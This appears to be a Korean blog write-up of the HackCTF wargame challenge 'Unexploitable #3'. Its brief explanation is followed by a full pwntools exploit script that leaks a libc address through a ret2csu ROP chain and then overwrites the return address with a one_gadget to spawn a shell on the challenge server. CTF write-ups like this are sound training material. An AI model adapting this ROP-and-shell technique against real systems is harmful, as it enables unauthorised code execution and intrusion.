Unexploitable #3 본문
fwrite를 이용해 주소를 leak 한다.
필요한 인자가 4개이므로 가젯들을 찾아야 한다.
csu_init을 통해 rdi, rsi , rdx를 사용할 수 있지만 rcx가 없다.
gift함수를 보니 [rdi] 값을 역참조 하여 rcx에 대입한다.
이를 이용한다.
rcx에 stdout를 넣어주고 바로 RTC를 진행한다.
libc_base를 이용해 one_gadget을 구한 후 ret에 덮어준다.
from pwn import *
context.log_level = 'Debug'
p = remote('ctf.j0n9hyun.xyz', 3034)
elf = ELF("./Unexploitable_3")
one_gadget_offset = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
csu_1 = 0x40073a
csu_2 = 0x400720
pr = 0x400743
stdout = 0x601050
gift_rcx = 0x400658
main = elf.sym['main']
payload = 'A'*24
payload += p64(pr)
payload += p64(stdout)
payload += p64(gift_rcx)
payload += p64(csu_1)
payload += p64(0) # rbx
payload += p64(1) # rbp
payload += p64(elf.got['fwrite']) #r12 -> call
payload += p64(8) # r13 -> rdx
payload += p64(1) # r14 -> rsi
payload += p64(elf.got['fgets']) # r15 -> rdi
payload += p64(csu_2)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(main)
p.sendline(payload)
p.recvuntil("Nothing for you!\n")
time.sleep(0.5)
leak_fgets = u64(p.recvn(6)+"\x00\x00")
libc_base = leak_fgets - 0x6dad0
one_gadget = libc_base + one_gadget_offset[0]
payload = 'A'*24
payload += p64(one_gadget)
p.sendline(payload)
p.interactive()
'wargame > HackCTF' 카테고리의 다른 글
ChildHeap (0) | 2021.12.23 |
---|---|
babyfsb (0) | 2021.12.22 |
j0n9hyun's secret (0) | 2021.12.21 |
babyheap (0) | 2021.12.21 |
Unexploitable #2 (0) | 2021.12.17 |
Comments